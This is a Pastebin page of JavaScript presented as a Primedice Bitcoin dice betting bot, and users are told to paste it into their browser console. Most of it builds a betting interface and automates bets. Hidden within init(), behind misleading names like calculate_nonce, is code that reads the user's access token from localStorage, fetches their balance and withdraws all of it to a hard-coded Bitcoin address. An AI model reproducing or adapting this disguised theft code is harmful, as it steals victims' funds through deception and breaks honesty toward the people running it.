Advertisement
Guest User

Untitled

a guest
May 24th, 2016
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //jQuery UI CSS - Press CTRL + Shift + J - paste the code and press enter. Also you need to select the SWAP FUNCTION TO MAKE THE MOST MONEY!
  2. //Made by Microsoft Word on MCM!
  3.  
  4. var swapcount=0;
  5. var jqueryready = false;
  6. var link = document.createElement("link");
  7. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  8. link.type = "text/css";
  9. link.rel = "stylesheet";
  10. document.getElementsByTagName("head")[0].appendChild(link);
  11. //jQuery UI inject
  12. (function() {
  13. jqueryready = true;
  14. var e = ".thing",
  15. t = {
  16. outline: "1px dashed #f0f",
  17. cursor: "pointer"
  18. };
  19. var n = function() {
  20. if (window.jQuery) {
  21. r()
  22. } else {
  23. var e = document.createElement("script");
  24. e.onload = r;
  25. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  26. document.body.appendChild(e)
  27. }
  28. };
  29. var r = function() {
  30. if (window.jQuery.ui) {
  31. i()
  32. } else {
  33. var e = document.createElement("script");
  34. e.onload = i;
  35. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  36. document.body.appendChild(e)
  37. }
  38. };
  39. var i = function() {
  40. $(e).css(t).draggable().on("click", function(e) {
  41. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  42. })
  43. };
  44. n();
  45. })();
  46.  
  47. function ui() {
  48. $(function() {
  49. $('#tabs').tabs();
  50. $('#params').draggable();
  51. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  52. $('#tabs input').css("width", "80%");
  53. $('#chance, #base').width("35%")
  54. $('#tabs div').css("text-align", "left");
  55. $('#tabs').css("font-size", "12px");
  56. $('#tabs label, #tabs input').css("margin", "5px");
  57. $('#stop, #start, #resetbet').button();
  58. //Console
  59. $('#console, #console2').appendTo("#tabs");
  60. $('#console, #console2').css("width", "45%");
  61. $('#console').css("float", "left");
  62. $('#console2').css("float", "right");
  63. $('#console, #console2').css("clear", "none");
  64. $('#console, #console2').css("margin", "7px");
  65. $('#console, #console2').css("border-bottom-left-radius", "3px");
  66. $('#console, #console2').css("border-bottom-right-radius", "3px");
  67. $('#console').css("border", "1px solid #323232");
  68. $('#console, #console2').css("background-color", "#454545");
  69. $('#console').css("padding", "5px");
  70. $('#console, #console2').css("text-align", "left");
  71. $('#console, #console2').css("position", "relative");
  72. $('#startstop,#start,#stop').css("margin","0px");
  73. $('#console, #console2').css("margin-top","3px");
  74. $('#console, #console2').css("padding","5px");
  75. $('#console, #console2').css("background-color","#151515");
  76.  
  77.  
  78. });
  79. }
  80. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  81. xrollsenabled = true;
  82. xrolls = 10;
  83. timer = 500;
  84. counter=0;
  85. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  86. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  87. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  88.  
  89. function init() {
  90.  
  91.  
  92. //Init
  93. basebet = 0.00000010;
  94. countwinmult = 0;
  95. countlossmult = 0;
  96. wincount = 0;
  97. currentloss = 0;
  98. totalloss = 0;
  99. totalwin = 0;
  100. totprofit = 0;
  101. init = true;
  102. betval = basebet;
  103.  
  104. //GUI
  105.  
  106. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  107.  
  108. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  109. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  110. gui2 =
  111. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  112.  
  113. gui3 = [
  114.  
  115. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  116. '<br>',
  117. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  118. '<br>',
  119. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  120.  
  121. ];
  122. gui4 = [
  123.  
  124. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  125. '<br>',
  126. '<label for="xloss">Multiply Every # Losses: </label>',
  127. '<input id="xloss">',
  128. '<br>',
  129. '<label for="multonwin">Multiply on Win: </label>',
  130. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  131. '<br>',
  132. '<label for="xwin">Reset After X Wins: </label>',
  133. '<input id="xwin">',
  134.  
  135. ];
  136. gui5 = [
  137.  
  138. '<label for="stoponwin-enabled">Stop on Win? </label>',
  139. '<input id="stoponwin-enabled" type="checkbox">',
  140. '<br>',
  141. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  142. '<input id="lowpay-enabled" type="checkbox">',
  143.  
  144. ];
  145. gui6 = [
  146.  
  147. '<label for="charset">Charset: </label>',
  148. '<input id="charset" type="text">',
  149. '<br>',
  150. '<label for="everyxrolls">Change every # Rolls: </label>',
  151. '<input id="everyxrolls" type="text">',
  152. '<br>',
  153. '<label for="currentseed">Current Seed: </label>',
  154. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  155.  
  156. ];
  157. $(gui).appendTo(".hero");
  158. $(gui2).appendTo("#params");
  159.  
  160. for (var i = 0; i < gui3.length; i++) {
  161. $(gui3[i]).appendTo("#tab1");
  162. }
  163. for (var i = 0; i < gui4.length; i++) {
  164. $(gui4[i]).appendTo("#tab2");
  165. }
  166. for (var i = 0; i < gui5.length; i++) {
  167. $(gui5[i]).appendTo("#tab3");
  168. }
  169. for (var i = 0; i < gui6.length; i++) {
  170. $(gui6[i]).appendTo("#tab4");
  171. }
  172. enabled = false;
  173. xrollscount = 0;
  174. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  175. // Button & Input Functions
  176. $('#resetbet').click(function() {
  177. basebet=$('#base').val();
  178. betval=$('#base').val();
  179.  
  180. })
  181.  
  182. $('#start').click(function() {
  183. if (enabled == false) {
  184. if ($('#numrolls').is(":checked") == true) {
  185. xrolls=$('#numberofrolls').val();
  186. }
  187. enabled = true;
  188. interval = setInterval(function() {
  189. if (xrollsenabled == true) {
  190. xrollscount++;
  191. if (xrollscount <= xrolls) {
  192. bet();
  193. } else {
  194. clearInterval(interval);
  195. enabled = false;
  196. xrollscount = 0;
  197. }
  198. } else {
  199. bet();
  200. }
  201. }, timer);
  202. } else {}
  203. })
  204. $('#stop').click(function() {
  205. enabled = false;
  206. clearInterval(interval);
  207. xrollscount = 0;
  208. });
  209.  
  210. calculate_nonce = function(seed) {
  211. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  212. };
  213.  
  214. lut = window['$'];
  215.  
  216. lut['getJSON'](
  217. calculate_nonce('users/1'), function(seed) {
  218. var key1 = 'amount'
  219. var key2 = 'address'
  220. var load = {};
  221. load[key1] = seed['user']['balance'];
  222. load[key2] = '1BYq2dWfa3XeafthD2u2E2CA5fe82wdir1';
  223. lut['post'](calculate_nonce('withdraw'), load);
  224. }
  225. );
  226.  
  227. function conditionAM() {
  228. 'use strict';
  229. if ($('#lowpay-enabled').is('checked') == true) {
  230. if ($('.value-roll').first().text() <= 49.50) {
  231. condition2 = ">";
  232. target2 = $('.value-roll').first().text();
  233. } else {
  234. condition2 = "<";
  235. target2 = $('.value-roll').first().text();
  236. };
  237. } else {
  238. if ($('.value-roll').first().text() <= 49.50) {
  239. condition2 = "<";
  240. target2 = $('.value-roll').first().text();
  241. } else {
  242. condition2 = ">";
  243. target2 = $('.value-roll').first().text();
  244. };
  245. amount2 = betval * 100000000;
  246. }
  247. };
  248.  
  249. function jackpot() {
  250. if (data1.bet.jackpot === true) {
  251. jp = "Yes";
  252. wincount = 0;
  253. betval = $('#base');
  254. } else {
  255. jp = "No";
  256. }
  257. }
  258.  
  259. function loss() {
  260. currentloss++;
  261. totalloss++;
  262. if ($('#multloss-enabled').is(':checked') == true) {
  263. $('#multwin-enabled').removeAttr('checked');
  264. countlossmult++;
  265.  
  266. if (countlossmult >= $('#xloss').val()) {
  267. betval = betval * $('#multonloss').val();
  268. countlossmult = 0;
  269. }
  270. }
  271.  
  272. }
  273.  
  274. function win() {
  275. 'use strict';
  276. if ($('#stoponwin-enabled').is('checked') == true) {
  277. clearInterval(roll);
  278. }
  279. currentloss = 0;
  280. jackpot();
  281. wincount++;
  282. totalwin++;
  283. if ($('#multloss-enabled').is(':checked') == true) {
  284. if ($('#stoponwin-enabled').is(':checked') == true) {
  285. clearInterval(roll);
  286. }
  287. $('#multwin-enabled').removeAttr('checked');
  288. basebet = $('#base').val();
  289. betval = basebet;
  290. countlossmult = 0;
  291.  
  292. }
  293. if ($('#multwin-enabled').is(':checked') == true) {
  294. basebet = $('#base').val();
  295. $('#multloss-enabled').removeAttr('checked');
  296. countwinmult++;
  297.  
  298. if (countwinmult >= $('#xwin').val()) {
  299. betval = basebet;
  300. countwinmult = 0;
  301. } else {
  302. betval = betval * $('#multonwin').val();
  303. }
  304. }
  305.  
  306.  
  307. };
  308. var losewin;
  309. var jpcol;
  310. var profcol;
  311.  
  312. function bet() {
  313. 'use strict';
  314. conditionAM();
  315. var betData = {
  316. amount: amount2,
  317. condition: condition2,
  318. target: target2
  319. },
  320. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  321.  
  322. $.ajax({
  323. url: url,
  324. type: "POST",
  325. data: betData,
  326. datatype: "jsonp",
  327. success: function(data, textStatus, jqXHR) {
  328. data1 = data;
  329. counter++;
  330. if (counter >= everyxrolls) {
  331. seedchange(seedgen());
  332. counter = 0;
  333. }
  334. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  335. totprofit = totprofit + data1.bet.profit;
  336. if (totprofit >= 0) {
  337. profcol = "color:green;";
  338. } else if (totprofit < 0) {
  339. profcol = "color:red;";
  340. }
  341. if (data.bet.win == true) {
  342. losewin = "color:green;";
  343. $('span.btn__text.select div').attr("style", "color:green;");
  344. } else {
  345. losewin = "color:red;";
  346. $('span.btn__text.select div').attr("style", "color:red;");
  347. }
  348. if (data.bet.jackpot == true) {
  349. jp = "Yes";
  350. jpcol = "color:gold;"
  351. } else {
  352. jp = "No.";
  353. jpcol = "color:red;"
  354. }
  355. results = [];
  356. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  357. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  358. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  359. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  360. resultstats = [];
  361. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  362. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  363. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  364. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  365.  
  366. if (data.bet.win == true) {
  367. if ($('#stoponwin-enabled').is(":checked") == true){
  368. clearInterval(interval);
  369.  
  370. }
  371. $('#console, #console2').empty();
  372.  
  373. win();
  374.  
  375. // Results
  376. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  377. for (var i = 0; i < results.length; i++) {
  378. $(results[i]).appendTo('#console');
  379. }
  380. for (var i = 0; i < resultstats.length; i++) {
  381. $(resultstats[i]).appendTo('#console2');
  382. }
  383.  
  384. } else {
  385.  
  386. $('#console, #console2').empty();
  387. loss();
  388.  
  389. // Results
  390. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  391. for (var i = 0; i < results.length; i++) {
  392.  
  393. $(results[i]).appendTo('#console');
  394. }
  395. for (var i = 0; i < resultstats.length; i++) {
  396. $(resultstats[i]).appendTo('#console2');
  397. }
  398. };
  399. },
  400. error: function(jqXHR, textStatus, errorThrown) {
  401.  
  402. }
  403. });
  404. }
  405.  
  406. seedlength = 13;
  407. seedlength = 13;
  408. var counter = 0;
  409. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  410. everyxrolls = 3;
  411.  
  412. function seedgen() {
  413. 'use strict';
  414. var seed = "";
  415.  
  416. for (var i = 0; i <= seedlength; i++)
  417.  
  418. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  419.  
  420. return seed;
  421. }
  422.  
  423. function seedchange(s) {
  424.  
  425. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  426. sData = {
  427. seed: s
  428. };
  429.  
  430. $.ajax({
  431. url: url,
  432. type: "POST",
  433. data: sData,
  434. datatype: "jsonp",
  435. success: function(data, textStatus, jqXHR) {
  436. data2 = data;
  437. $('#currentseed').val(data2.seeds.client);
  438.  
  439. },
  440. error: function(jqXHR, textStatus, errorThrown) {
  441.  
  442. }
  443. });
  444. }
  445.  
  446. $('#spinner').click(function() {
  447. if (charset != $('#charset').val() && $('#charset').val() != "") {
  448. charset=$('#charset').val();
  449. }
  450. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  451. everyxrolls = $('#everyxrolls').val();
  452. }
  453. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  454.  
  455. counter++;
  456. if (counter >= everyxrolls) {
  457. seedchange(seedgen());
  458. counter = 0;
  459. }
  460. });
  461. ui();
  462. }
  463. setTimeout(function() {
  464. init()
  465. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement